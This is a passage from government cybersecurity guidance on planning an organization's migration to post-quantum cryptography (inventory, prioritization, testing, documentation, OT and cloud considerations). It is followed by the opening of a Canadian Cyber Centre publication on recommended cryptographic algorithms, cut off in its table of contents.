private network (VPN) gateways, etc.</li> <li>application servers: web, email, database, etc.</li> <li>messaging applications</li> </ul><p>In this scenario, at least the following widely deployed protocols must be assessed, as they rely on quantum-vulnerable cryptographic primitives (Rivest-Shamir-Adleman (RSA) or Elliptic Curve Digital Signature Algorithm (ECDSA) signatures and Diffie-Hellman and ECDH key exchange):</p> <ul><li>TLS: the backbone of secure web communications. Monitoring TLS traffic provides direct visibility into cipher suites, key lengths and certificate types currently in use.</li> <li>Secure Shell (SSH): critical for administrative access and automation. Assessing the configuration of both SSH servers and clients helps to map which algorithms are actively used for authentication and key negotiation.</li> <li>Authentication and authorization protocols: Open Authorization (OAuth), OpenID Connect (OIDC) and Security Assurance Markup Language (SAML) make use of digital signatures to verify authenticity and integrity of tokens<sup id="fn2-rf"><a class="fn-lnk" href="#fn2"><span class="wb-inv">Footnote </span>2</a></sup> and messages.</li> <li>Internet Protocol Security (IPsec), Internet Key Exchange (IKE): fundamental for VPNs and remote working environments.</li> <li>Email security protocols (S/MIME, PGP): widely used for ensuring confidentiality, authenticity and integrity of email.</li> </ul><p>In addition, particular attention should be paid to Internet-facing network services, as the exposure to the public network significantly increase the risk of an attack by a malicious actor (for example, HNDL attacks). See “<a href="#Prioritization">Prioritization</a>” below for more details.</p> </div> <div> <h5>Externally developed software and hardware</h5> <p>These are systems that your organization uses but which are not developed internally. They use cryptography, but not for transmitting data. For example, these may include software that relies primarily on <abbr title="public key cryptography">PKC</abbr>, such as:</p> <ul><li>digital signing and PKI software</li> <li>digital rights management (DRM) software</li> <li>Secure Boot and firmware integrity software</li> </ul><p>It may also include software that extensively uses symmetric cryptography to securely store data and may apply <abbr title="public key cryptography">PKC</abbr> for authentication and authorization, such as:</p> <ul><li>identity and access management (IAM), privileged access management (PAM) and key management systems (KMS)</li> <li>password managers</li> <li>database, file and disk encryption tools</li> </ul><p>Externally developed hardware devices include:</p> <ul><li>hardware security modules (HSMs)</li> <li>smart cards</li> <li>trusted platform modules (TPMs)</li> <li>specialized embedded devices <sup id="fn3-rf"><a class="fn-lnk" href="#fn3"><span class="wb-inv">Footnote </span>3</a></sup></li> </ul><!– footnote 3 –><p>In this case, since the source code of the applications or firmware is not available, identifying cryptographic components requires the cooperation of vendors that may provide a <abbr title="Cryptographic Bill of Materials">CBOM</abbr> or a Software Bill of Materials (SBOM). You can read more about <abbr title="Cryptographic Bill of Materials">CBOM</abbr> and <abbr title="Software Bill of Materials">SBOM</abbr>s in <a href="#cryto-inventory-bill">Cryptographic inventory and the Cryptographic Bill of Materials</a>, found in the Appendix. Alternatively, for legacy systems or when vendor support is not available, we recommend the use of vulnerability scanners and binary inspection utilities.</p> <p>Moreover, some applications could adopt cryptography for network transmissions as well as for other purposes and may need multiple approaches to understand the cryptography implemented.</p> </div> <div> <h5>Internally developed and open-source software</h5> <p>These consist of software that is developed inside your organization or software for which source code is available. This allows you to understand how cryptography is used.</p> <p>For many software projects, integrated development environments (IDE) plugins or source composition analysis (SCA) tools can help to identify the use of cryptographic primitives within the code and to develop a <abbr title="Software Bill of Materials">SBOM</abbr> which will list the components that make up the software. The migration of this software will require internal remediation actions to change configurations, code, application programming interfaces (APIs) or libraries.</p> </div> <div> <h5>Cloud services and externally managed systems</h5> <p>Particular attention must be paid to cloud services, especially within platform-as-a-service (PaaS) and software-as-a-service (SaaS) models, since organizations cannot directly identify or control the cryptography used and must therefore rely on attestations or certifications provided by the service provider. In this context, the cryptographic discovery and planning team should engage with cloud service providers to confirm whether their encryption algorithms and security controls are aligned with <abbr title="Post-quantum cryptography">PQC</abbr> transition strategies, as outlined in <a href="#Operational-Tech">Operational and cloud technology considerations</a>.</p> <p>Moreover, cloud services are often delivered over the public Internet, thus potentially exposing the organization’s data to malicious actors.</p> </div> </div> </div> <div> <h3 id="Prioritization">Prioritization</h3> <p>The complete migration to <abbr title="Post-quantum cryptography">PQC</abbr> will be a enormous effort and it cannot be accomplished in 1 step. Therefore, organizations must apply a method of prioritization to assess which systems are more vulnerable to the rising threats and to identify an order for the migration. The most reasonable way to perform this assessment will be to carry out a quantum risk analysis once an inventory of data assets and cryptographic tools has been produced.</p> <p>Risk assessment is a standard IT infrastructure technique to understand the vulnerabilities of a system and the impact of a potential breach. A quantum risk assessment should follow a similar methodology. In most cases, the functionality provided by the system will have an effect on which threats are relevant and the scope of the threat. Developing a risk assessment is not necessarily a task for one specific team, but rather an ongoing requirement throughout the <abbr title="Post-quantum cryptography">PQC</abbr> migration on which multiple teams may need to work in tandem.</p> <p>The table below provides the main considerations that need to be taken into account for prioritization within a <abbr title="Post-quantum cryptography">PQC</abbr> transition plan but it is not intended as a complete list. This approach is compatible with the approach described in the European Commission’s <a href="https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography">A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography</a>. An in-depth example of how to build a quantum risk assessment can be found in the Netherlands General Intelligence and Security Service’s <a href="https://english.aivd.nl/documents/2024/12/3/the-pqc-migration-handbook">The <abbr title="Post-quantum cryptography">PQC</abbr> Migration Handbook</a>.</p> <!– last updated –> <div> <div class="table-responsive"> <table class="table table-bordered"><thead><tr><th scope="col">Factor</th> <th scope="col">Description</th> <th scope="col">Considerations</th> </tr></thead><tbody><tr><th scope="row">Potential damage</th> <td>The damage that could occur if data was unprotected and obtained by an adversary.</td> <td>Data that is of high interest, such as financial, personally identifiable information (PII) and government-mandated records may be considered to be of high priority.</td> </tr><tr><th scope="row">Data lifespan</th> <td>The expected life that the data will be of value and/or should be protected.</td> <td>Data that is susceptible to HNDL attacks could be considered higher priority.</td> </tr><tr><th scope="row">Accessibility of the data</th> <td>Where the data is located that a threat actor could attempt to obtain and decrypt.</td> <td>Data that is exposed to open networks should be considered to have a higher priority than data that is locked securely (for example, offline, in protected zones, or over VPNs or secure websites).</td> </tr><tr><th scope="row">Time to migrate the system</th> <td>How long would it take to complete the migration of a system.</td> <td>The migration time for some cryptographic systems, such as PKIs, will take many years due to their complex structure. Therefore, organizations need to account for the time to migrate a system.</td> </tr></tbody></table></div> </div> <p>Because organizations have to work with restricted resources and potentially depend on external vendors, other factors could affect when specific transitions can take place. These additional factors could include:</p> <ul><li>availability of <abbr title="Post-quantum cryptography">PQC</abbr> products and services</li> <li>service level agreement requirements</li> <li>availability of human and financial resources</li> <li>external integration points (for example, inter-office VPNs, cloud providers)</li> </ul><p>Additionally, it may be beneficial to focus on a simple <abbr title="Post-quantum cryptography">PQC</abbr> upgrade at the beginning of the transition to understand the new cryptographic parameters and develop expertise before attempting larger, more complex upgrades.</p> <p>Once the appropriate factors have been decided upon, organizations will need to determine how to assign a quantum risk assessment. For simplicity, a qualitative scheme with 3 assessment levels such as low, medium and high should be sufficient for organizations to determine the order for the transition. In general, the higher the rating assigned, the higher the priority of migrating to <abbr title="Post-quantum cryptography">PQC</abbr>.</p> <p>The following 2 examples highlight cases where a high quantum risk assessment should be applied:</p> <ul><li>the protection of confidential data that needs to remain undisclosed for a long period of time</li> <li>the protection of software/firmware updates, for which migration could take a significant amount of time to complete</li> </ul><p><strong>Note:</strong> Timeframes for protecting data may differ based on individual nations’ jurisdiction.</p> <p>It is important for organizations to communicate with vendors to understand their plans. We recommend regular communication to ensure that, if their <abbr title="Post-quantum cryptography">PQC</abbr> product roadmaps have changed, you will be able to adjust your plans accordingly. You may discover that your current infrastructure will need to be replaced as either your vendor or the standardized protocols that your services use will not support <abbr title="Post-quantum cryptography">PQC</abbr> in the future. For example, <abbr title="Post-quantum cryptography">PQC</abbr> will only be available in TLS 1.3 and later. If your web services use TLS 1.2 for securing communications, you may have to:</p> <ul><li>upgrade the software</li> <li>upgrade the operating system that runs the software</li> <li>replace the infrastructure the service runs on</li> <li>deal with any combination of the above</li> </ul></div> <div> <h3 id="Transition">Transition</h3> <p>The transition phase is used to implement <abbr title="Post-quantum cryptography">PQC</abbr> on quantum-vulnerable systems. A plan for this phase will need to meet your organization’s requirements and consider items including, but not limited to, timelines, business operations and the priority of the data and systems that the cryptography protects.</p> <p>While developing the transition plan, we recommend that you perform tabletop exercises that will help identify any issues that may prevent a smooth transition to <abbr title="Post-quantum cryptography">PQC</abbr>. Determining potential issues early on will generally reduce costs, errors and the time to perform the transition, and may result in fewer issues during the upgrade process. When performing the transition, make sure to follow your organization’s change-management processes.</p> </div> <div> <h3 id="Testing">Testing</h3> <p>In addition to the testing that your organization already performs on your IT environments, you should consider adding <abbr title="Post-quantum cryptography">PQC</abbr> tests to your test plans. This will ensure that your IT environment continues to meet organizational requirements and also validate that the <abbr title="Post-quantum cryptography">PQC</abbr> has been implemented correctly. At minimum, your plans should:</p> <ul><li><strong>Ensure that the cryptographic products meet system requirements</strong><br /> Some devices use dedicated hardware or chip instruction extensions to improve the performance of traditional cryptography. Although initial testing shows some <abbr title="Post-quantum cryptography">PQC</abbr> processing is as fast as existing <abbr title="public key cryptography">PKC</abbr>, until dedicated hardware is available for <abbr title="Post-quantum cryptography">PQC</abbr>, it may perform more slowly than systems currently in use. Another consideration is that <abbr title="Post-quantum cryptography">PQC</abbr> key, ciphertexts and signatures are often larger than those produced with the existing <abbr title="public key cryptography">PKC</abbr> algorithms. Problems could arise from these larger sizes when using low bitrate or noisy network connections such as on radios. Due to these concerns, and possibly others, it is important to ensure that new or transitioned devices continue to meet the system’s prescribed requirements.</li> <li><strong>Validate interoperability</strong> Although a product may have been tested by a vendor, interoperability can fail between vendors based on different implementation assumptions. In situations where 2 or more products must work together to form a solution, it is important to perform testing to ensure that they will interoperate together.</li> <li><strong>Test configurations to enable <abbr title="Post-quantum cryptography">PQC</abbr></strong> Configuring a system to support <abbr title="Post-quantum cryptography">PQC</abbr> will often involve more than pressing a button or checking a box on a graphical interface. It may involve obtaining new cryptographic certificates as well as turning off cryptographic ciphers that you no longer wish to use. Having a plan to test varying configurations and verify that <abbr title="Post-quantum cryptography">PQC</abbr> algorithms are being used correctly will alleviate any mistakes that could leave your data and systems unprotected.</li> </ul></div> <div> <h3 id="Documentation">Documentation</h3> <p>During the transition, it is important to ensure that each change to any system is well documented. Relevant documentation includes but is not limited to:</p> <ul><li><strong>Business continuity plans (BCPs)</strong> As your environment changes, it is important to ensure that your BCP is kept up to date to ensure that it captures all the information necessary to continue business operations in the case of a disruption.</li> <li><strong>Configuration and use documentation</strong> The configuration, as well as any specific use instructions for each system, should be recorded. This includes any configurations made to support <abbr title="Post-quantum cryptography">PQC</abbr> and deprecate traditional cryptographic algorithms.</li> <li><strong>Information technology asset management (ITAM)</strong> Update the organization ITAM to record any changes to hardware and software, including removing any items that will no longer be needed after the transition.</li> <li><strong>Cryptographic information</strong> Cryptographic recommendations will continue to change as new technologies are developed. Ensuring that all cryptographic technologies used in your organization are properly recorded and secured is an important part of cryptographic agility and will aid in future cryptographic changes. More information on storing cryptographic information can be found in Cryptographic inventory and the Cryptographic Bill of Materials in the Appendix of this publication.</li> </ul></div> </section><section><h2 id="Conclusion">Conclusion</h2> <p>Although the transition to <abbr title="Post-quantum cryptography">PQC</abbr> will bring many challenges, including time, cost and complexity, the G7 CWG believes that it is an important part of protecting your organization’s information technology and data. The G7 CWG has published this guidance on important topics that we believe will help you prepare your organization during the transition. In addition to this publication, the G7 CWG recommends that you review other relevant guidance including that from standards bodies as well as your national cyber agency. Please note that the guidance presented in this publication is for informational purposes only and should be tailored to fit the needs of your organization.</p> </section><section><h2 id="Appendix">Appendix</h2> <p>This appendix provides additional information on select topics that may be on interest to the reader.</p> <h3 id="consider-crypto-id">Considerations for identifying cryptography</h3> <h4>Tools and methods for cryptographic discovery</h4> <p>You can use different categories of tools and techniques to identify cryptographic assets in different scenarios. In most cases, relying only on automated tools won’t be enough to exhaustively find cryptography in your environment, as the tools may miss something or provide false positives. It is necessary to combine automated and manual approaches (for example, tool output review, documentation analysis, vendor communications, internal discussions, etc.).</p> <p>The following sections outline different tools and techniques that you can use and their purposes.</p> <div> <p><strong>Network devices and applications</strong></p> <ul><li>Active network vulnerability scanners: to interrogate network services directly and list supported protocols, cipher suites, and key-exchange mechanisms, highlighting the use of weak or deprecated algorithms. For example, nmap, testssl.sh and openssl</li> <li>Passive monitoring and traffic analyzers: to capture and analyze live communications in order to observe which cryptographic protocols and algorithms are actually negotiated during sessions. For example, Wireshark and tcpdump</li> <li>Large-scale network scanning frameworks like Shodan or Censys.io can be employed to map cryptographic exposure of Internet-facing assets</li> </ul></div> <div> <p><strong>Externally developed software and hardware</strong></p> <ul><li>Binary and library inspection utilities: to analyze executables and verify dynamically linked cryptographic components and symbols</li> <li>Firmware inspection and analysis methods: to examine firmware images of embedded devices or accelerators for implemented algorithms and potential hardcoded keys</li> <li>System and hardware inventory utilities: to detect the presence of cryptographic accelerators, secure co-processors or dedicated modules integrated into servers and network appliances</li> </ul></div> <div> <p><strong>Internally developed and open-source software</strong></p> <ul><li>Source code analysis methods: to identify direct calls to cryptographic APIs, functions or hardcoded keys inside applications.</li> <li>Dependency and package inspection tools: to detect cryptographic libraries declared in project files or packages</li> <li>Static and dynamic analysis techniques: to examine compiled code for linked cryptographic components and functions</li> </ul></div> <p>It is important to note that most tools available (at the time of writing) were not originally designed to detect weaknesses specifically from a quantum-safe perspective. Their primary function is to identify outdated software versions, insecure configurations and vulnerable cryptographic implementations. However, they can still be effectively repurposed in the context of post-quantum migration, since they provide valuable insights on where traditional algorithms are deployed. By leveraging these existing tools, organizations can build an initial cryptographic inventory and highlight systems that are most exposed to quantum-related risks, even before dedicated <abbr title="Post-quantum cryptography">PQC</abbr>-focused discovery solutions become widely available.</p> <h4 id="crypto-inventory-bill">Cryptographic inventory and the Cryptographic Bill of Materials</h4> <p>There are different approaches for building and managing a cryptographic inventory, but adopting a structured, machine-readable representation of cryptographic assets, such as the <abbr title="Cryptographic Bill of Materials">CBOM</abbr>, is highly recommended.</p> <p><abbr title="Cryptographic Bill of Materials">CBOM</abbr> is a specialized extension of an <abbr title="Software Bill of Materials">SBOM</abbr><sup id="fn4-rf"><a class="fn-lnk" href="#fn4"><span class="wb-inv">Footnote </span>4</a></sup> that focuses exclusively on cryptographic assets. Essentially, it is a detailed list in a machine-readable format that describes cryptography in use along with metadata. It can track dependencies between algorithms and provide a way to associate both traditional and quantum security vulnerability scores with identified assets.</p> <p>Beyond its role as an inventory, the <abbr title="Cryptographic Bill of Materials">CBOM</abbr> helps increase the visibility of cryptographic assets across the organization and supports risks assessment. It allows organizations to evaluate quantum vulnerability, prioritize remediation and identify long-lived assets at risk of HNDL attacks.</p> <p>Furthermore, because the <abbr title="Cryptographic Bill of Materials">CBOM</abbr> can be easily updated throughout systems and applications lifecycles, it helps organizations maintain long-term consistency and control over their cryptographic assets</p> <!– Another footnote –> <h3 id="hybrid-crypto">Hybrid cryptography</h3> <p>In the context of the transition to <abbr title="Post-quantum cryptography">PQC</abbr>, hybrid or composite schemes may combine multiple cryptographic algorithms via suitable methods to achieve the desired security for the complete scheme, even if one of the components has been weakened or even broken. For signature schemes, this can be a method such as having 2 or more parallel implemented signature schemes and the complete signature is valid only when all signature components are valid. For key agreement schemes, multiple KEMs are combined to produce a single shared secret, in a so-called KEM-combiner. This tends to involve additional steps beyond computing the individual KEM components and leads to more complicated security analysis for the complete scheme.</p> <p>The typical use case currently involves combining a traditional, well-tested (albeit not quantum-secure) public key algorithm with a new <abbr title="Post-quantum cryptography">PQC</abbr> algorithm to form a post-quantum/traditional hybrid. If the <abbr title="Post-quantum cryptography">PQC</abbr> algorithm is appropriately implemented, such schemes provide potential protection against HNDL attacks, while maintaining the current level of security.</p> <p>Certain hybrid approaches could support long-term security while maintaining backwards compatibility or policy compliance and enabling the introduction of new algorithms across systems. You must carefully assess hybrid approaches to select the appropriate scheme for the desired need.</p> <h2 id="Operational-Tech">Operational and cloud technology considerations</h2> <p>Operational technology (OT) networks contain hardware and software that are used to control or monitor the physical world. They are often deployed in industrial or commercial settings to manage and monitor equipment, when doing it manually may not be practical – for example, managing high-voltage output of electrical generators. Although it is recommended that organizations transition their infrastructure to <abbr title="Post-quantum cryptography">PQC</abbr>, it may not be possible or feasible to transition machinery that is managed and controlled by OT due to cost or availability. For this reason, other options should be considered.</p> <p><strong>Segmentation:</strong> It may be possible to segment technologies that cannot be transitioned to <abbr title="Post-quantum cryptography">PQC</abbr> away from the OT network. This may mean air-gapping an individual device or placing it on an air-gapped network with other systems that cannot be transitioned. Air-gapping technologies reduce, but cannot completely eliminate, the risk of attacks by threat actors. Depending on the OT network design, OT devices may need to communicate outside of the air-gapped network, so segmentation may not be possible. OT networks that are already air-gapped will already provide this security.</p> <p><strong>Tunnelling:</strong> OT infrastructure that cannot be segmented can use tunnelling to protect data in transit. The OT system in question uses a device to perform <abbr title="Post-quantum cryptography">PQC</abbr> encryption on its behalf. Examples of this approach include placing a VPN in front of the device or having a reverse proxy server that supports <abbr title="Post-quantum cryptography">PQC</abbr>. This approach allows infrastructure to be reachable by the OT network, while protecting the network with <abbr title="Post-quantum cryptography">PQC</abbr>.</p> <p>Many major cloud providers have already started to publish their plans to transition to <abbr title="Post-quantum cryptography">PQC</abbr>. If organizations are using a cloud provider for their software or infrastructure, they should communicate with their providers to understand their plans and timelines. When using hybrid cloud environments (a combination of both private and public cloud infrastructure), it will be important to ensure that both clouds continue to work together during the transition. When engaging with new cloud providers, we recommend requiring as part of the procurement contract that the provider support <abbr title="Post-quantum cryptography">PQC</abbr>.</p> <h3>Cryptographic assets in operational technology</h3> <p>In OT environments, such as industrial control systems (ICS), cryptographic discovery poses additional challenges compared to traditional IT systems due to limited computational resources, legacy systems and vendor-specific implementations. Moreover, unlike traditional IT, many industrial processes support critical functions that cannot be interrupted, which further complicates analysis activities.</p> <p>In addition to involving the vendor, suitable approaches could include:</p> <ul><li>Passive network monitoring, to identify which cryptographic protocols and cipher suites are negotiated in ICS/SCADA traffic without impacting the continuity or the integrity of industrial operations,</li> <li>Firmware and configuration inspection, to verify embedded cryptographic mechanisms in programmable logic controllers (PLCs) and industrial systems,</li> </ul><h3 id="Cert">Certification</h3> <p>Certification is a recognition by an independent assessment body that a product meets certain criteria. This can include implementation, evaluation and security assessments, thereby ensuring a high level of security for users and developers in the cyber security landscape. A certification is accompanied by a level of assurance, which corresponds to the more or less thorough depth of the analysis carried out by the evaluator, in accordance with the sponsor’s security objectives. Countries or industry sectors may have distinct certification schemes, but some schemes may be mutually recognized or internationally accepted.</p> <p>For the client and beneficiaries, certification represents a guarantee, often provided by a third-party organization, of the quality, safety or security of a product that they can verify before purchasing it.</p> <p>The transition to <abbr title="Post-quantum cryptography">PQC</abbr> will be long and costly. <abbr title="Post-quantum cryptography">PQC</abbr> requirements will need to be included in tenders to ensure the security of products in the coming years.</p> <p>Countries and industry sectors that have policies or regulations requiring certification benefit when there are multiple certified products with <abbr title="Post-quantum cryptography">PQC</abbr> available on the market.</p> <p>Certification schemes should be adapted to include requirements for <abbr title="Post-quantum cryptography">PQC</abbr> as soon as possible. This will involve working with national authorities, centres of expertise and laboratories, as well as solution providers to update regulations, certification processes and products.</p> <h3 id="info-sec">Information security management standards</h3> <p>For organizations that use standards as part of managing of their information security, the following table associates sections within this document with relevant standards. You may wish to review the references when performing the transition to <abbr title="Post-quantum cryptography">PQC</abbr>. This is not an exhaustive list and the G7 CWG recognizes that your organization may use other standards in place of or in addition to the ones listed below.</p> <h4>Relevant Standards</h4> <!– <div class="panel panel-default"> <header class="panel-heading">Publication section</header> <div class="panel-body"> <ul class="list-unstyled"> <li><strong><a href="#Documentation">Documentation</a></strong> <ul> <li>Reference: <a href="https://www.iso.org/standard/27001">International Organization for Standardization/International Electrotechnical Commission (ISO/IEC) Standard 27001:2022 Information security, cybersecurity and privacy protection&nbsp;— Information security management systems&nbsp;— Requirements</a> Annex A, Section 8.32 Change Management</li> </ul> </li> <li><strong><a href="#Id-crypto">Identifying cryptography</a></strong> <ul> <li>Reference: <a href="https://www.iso.org/standard/75652.html">ISO/IEC 27002:2022 Information security, cybersecurity and privacy protection&nbsp;— Information security controls</a> Control 5.9 Inventory of Information &amp; Other Associated Assets</li> <li>Reference: <a href="https://nvlpubs.nist.gov/nistpubs/CSWP/<abbr title="National Institute for Standards and Technology">NIST</abbr>.CSWP.29.pdf"><abbr title="National Institute for Standards and Technology">NIST</abbr> Cybersecurity Framework (PDF)</a> 2.0 Appendix A. CSF Core<br> Function IDENTIFY,<br> Category ASSET MANAGEMENT: ID.AM-01, ID.AM-02, ID.AM-03, ID.AM-04</li> </ul> </li> <li><strong><a href="#Testing">Testing</a></strong> <ul> <li>Reference: <a href="https://www.iso.org/standard/75652.html">ISO/IEC 27001:2022</a>,<br> Annex A, Section 8.29 Security Testing in Development and Acceptance<br> Annex A, Section 8.31 Separation of Development, Test and Production Environments</li> </ul> </li> </ul> </div> </div> </section> –> <table class="table table-bordered"><thead><tr><th scope="col">Publication section</th> <th scope="col">Reference</th> </tr></thead><tbody><tr><td><a href="#Documentation">Documentation</a></td> <td><a href="https://www.iso.org/fr/standard/27001">International Organization for Standardization/International Electrotechnical Commission (ISO/IEC) Standard 27001:2022 Information security, cybersecurity and privacy protection — Information security management systems — Requirements</a> Annex A, Section 8.32 Change Management</td> </tr><tr><td><a href="#Id-crypto">Identifying cryptography</a></td> <td><a href="https://www.iso.org/fr/standard/75652.html">ISO/IEC 27002:2022 Information security, cybersecurity and privacy protection — Information security controls</a> Control 5.9, Inventory of Information &amp; Other Associated Assets</td> </tr><tr><td><a href="#Id-crypto">Identifying cryptography</a></td> <td><a href="https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf"><abbr title="National Institute for Standards and Technology">NIST</abbr> Cybersecurity Framework 2.0 (PDF)</a> Appendix A. CSF Core Function IDENTIFY,<br /> Category ASSET MANAGEMENT:<br /> ID.AM-01, ID.AM-02, ID.AM-03, ID.AM-04</td> </tr><tr><td><a href="#Testing">Testing</a></td> <td><a href="https://www.iso.org/fr/standard/75652.html">ISO/IEC 27001:2022 (en anglais seulement)</a>, Annex A, Section 8.29 Security Testing in Development and Acceptance<br /><a href="https://www.iso.org/fr/standard/75652.html">ISO/IEC 27001:2022 (en anglais seulement)</a>, Annex A, Section 8.31 Separation of Development, Test and Production Environments</td> </tr></tbody></table><aside class="wb-fnote" role="note"><h2 id="5">Footnotes</h2> <dl><dt>Footnote 1</dt> <dd id="fn1"> <p>European Commission. <a href="https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography">A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography</a>, June 2025.</p> <p class="fn-rtn"><a href="#fn1-rf"><span class="wb-inv">Return to footnote</span>1<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 2</dt> <dd id="fn2"> <p>JSON Web Tokens (JWTs) in case of OAuth 2.0 and OIDC.</p> <p class="fn-rtn"><a href="#fn2-rf"><span class="wb-inv">Return to footnote</span>2<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 3</dt> <dd id="fn3"> <p>Operational technology (OT) and industrial control systems (ICS) or supervisory control and data acquisition (SCADA) environments often rely on custom embedded devices.</p> <p class="fn-rtn"><a href="#fn3-rf"><span class="wb-inv">Return to footnote</span>3<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 4</dt> <dd id="fn4"> <p>Both CycloneDX and SPDX <abbr title="Software Bill of Materials">SBOM</abbr> standard formats have specific extensions for <abbr title="Cryptographic Bill of Materials">CBOM</abbr>.</p> <p class="fn-rtn"><a href="#fn4-rf"><span class="wb-inv">Return to footnote</span>4<span class="wb-inv"> referrer</span></a></p> </dd> </dl></aside></section></div> </div> </div> </div> </div> </article>

<article data-history-node-id="6161" about="/en/guidance/cryptographic-algorithms-unclassified-protected-protected-b-information-itsp40111" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>May 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Practitioner series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSP.40.111</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>May 2026 | Practitioner series</strong></p> </div> <!–pdf download–> <div class="col-md-12 mrgn-tp-md"> <div class="mrgn-bttm-md well well-sm col-md-4 col-sm-12 col-xs-12 pull-right mrgn-lft-md"> <p class="mrgn-tp-sm"><strong>Alternate format</strong>: <a href="/sites/default/files/itsp40111-cryptographic-algorithms-e.pdf">Cryptographic algorithms for unclassified, protected A, and protected B information (Version 5) – ITSP.40.111 (PDF, 868 KB)</a></p> </div> <h2 class="text-info" id="n1">Foreword</h2> <p>Cryptographic algorithms for UNCLASSIFIED, PROTECTED A, and PROTECTED B information is an UNCLASSIFIED publication issued by the Head, Canadian Centre for Cyber Security (Cyber Centre) and provides an update to and supersedes the previously published version. For more information, email, or phone our Contact Centre at: <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, <a href="tel:+16139497048">(613) 949-7048</a> or <a href="tel:+18332923788">1-833-CYBER-88</a>.</p> <h2 class="text-info">Effective date</h2> <p>This publication takes effect on May 29, 2026.</p> <h2 class="text-info">Revision history</h2> <ol><li><strong>First release:</strong> August 2, 2016</li> <li><strong>Updated version (version 2):</strong> August 17, 2022</li> <li><strong>Updated version (version 3):</strong> March 19, 2024</li> <li><strong>Updated version (version 4):</strong> March 5, 2025</li> <li><strong>Updated version (version 5):</strong> May 29, 2026</li> </ol><section><h2 class="text-info">Overview</h2> <p>This publication identifies and describes recommended cryptographic algorithms and appropriate methods of use that organizations can implement to protect sensitive information. For Government of Canada (GC) departments and agencies, the guidance in this publication applies to UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <p>Your organization’s ability to protect sensitive data and information is fundamental to the delivery of programs and services. Properly configured cryptography provides security mechanisms which can be used to protect the authenticity, confidentiality and integrity of information. Several algorithms may be required to satisfy your organization’s security requirements, and each algorithm should be selected and implemented to meet those requirements.</p> </section><section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#a1">1 Introduction</a> <ul class="lst-none"><li><a href="#a11">1.1 Practitioner notes</a></li> <li><a href="#a12">1.2 Policy drivers</a></li> <li><a href="#a13">1.3 Relationship to the <abbr title="information technology">IT</abbr> risk management process</a></li> </ul></li> <li><a href="#a2">2 Post quantum cryptography</a></li> <li><a href="#a3">3 Encryption algorithms</a> <ul class="lst-none"><li><a href="#a31">3.1 Advanced encryption standard algorithm</a></li> </ul></li> <li><a href="#a4">4 Encryption algorithm modes of operation</a> <ul class="lst-none"><li><a href="#a41">4.1 Protecting the confidentiality of information</a></li> <li><a href="#a42">4.2 Protecting the confidentiality and authenticity of information</a></li> </ul></li> <li><a href="#a5">5 Key establishment schemes</a> <ul class="lst-none"><li><a href="#a51">5.1 Rivest-Shamir-Adleman</a></li> <li><a href="#a52">5.2 Finite Field Cryptography Diffie-Hellman and Menezes-Qu-Vanstone</a></li> <li><a href="#a53">5.3 Elliptic Curve Cryptography Cofactor Diffie-Hellman and Menezes-Qu-Vanstone</a></li> <li><a href="#a54">5.4 Module-Lattice-Based Key-Encapsulation Mechanism</a></li> </ul></li> <li><a href="#a6">6 Digital signature schemes</a> <ul class="lst-none"><li><a href="#a61">6.1 Rivest-Shamir-Adelman</a></li> <li><a href="#a62">6.2 Digital Signature Algorithm</a></li> <li><a href="#a63">6.3 Elliptic Curve Digital Signature Algorithm</a></li> <li><a href="#a64">6.4 Edwards-Curve Digital Signature Algorithm</a></li> <li><a href="#a65">6.5 Module-Lattice-Based Digital Signature Algorithm</a></li> <li><a href="#a66">6.6 Stateless Hash-Based Signature Algorithm</a></li> <li><a href="#a67">6.7 Stateful hash-based signature schemes</a></li> </ul></li> <li><a href="#a7">7 Hash functions</a> <ul class="lst-none"><li><a href="#a71">7.1 Secure Hash Algorithm-1</a></li> <li><a href="#a72">7.2 Secure Hash Algorithm-2</a></li> <li><a href="#a73">7.3 Secure Hash Algorithm-3</a></li> </ul></li> <li><a href="#a8">8 Extendable output functions</a> <ul class="lst-none"><li><a href="#a81">8.1 SHAKE</a></li> </ul></li> <li><a href="#a9">9 Message Authentication Codes</a> <ul class="lst-none"><li><a href="#a91">9.1 Keyed-Hash Message Authentication Code</a></li> <li><a href="#a92">9.2 Cipher-based Message Authentication Code</a></li> <li><a href="#a93">9.3 Galois/Counter Mode Message Authentication Code</a></li> <li><a href="#a94">9.4 KECCAK Message Authentication Code</a></li> </ul></li> <li><a href="#a10">10 Key Derivation Functions</a> <ul class="lst-none"><li><a href="#a101">10.1 One-Step Key Derivation Function</a></li> <li><a href="#a102">10.2 Two-Step Key Derivation Function</a></li> <li><a href="#a103">10.3 Key Derivation using pseudorandom functions</a></li> <li><a href="#a104">10.4 Internet Key Exchange version 2 Key Derivation Function</a></li> <li><a href="#a105">10.5 Transport Layer Security version 1.2 Key Derivation Function</a></li> <li><a href="#a106">10.6 Secure Shell Key Derivation Function</a></li> <li><a href="#a107">10.7 Secure Real-time Transport Protocol Key Derivation Function</a></li> <li><a href="#a108">10.8 Trusted Platform Module Key Derivation Function</a></li> <li><a href="#a109">10.9 Password-based Key Derivation Function</a></li> </ul></li> <li><a href="#b11">11 Key wrap 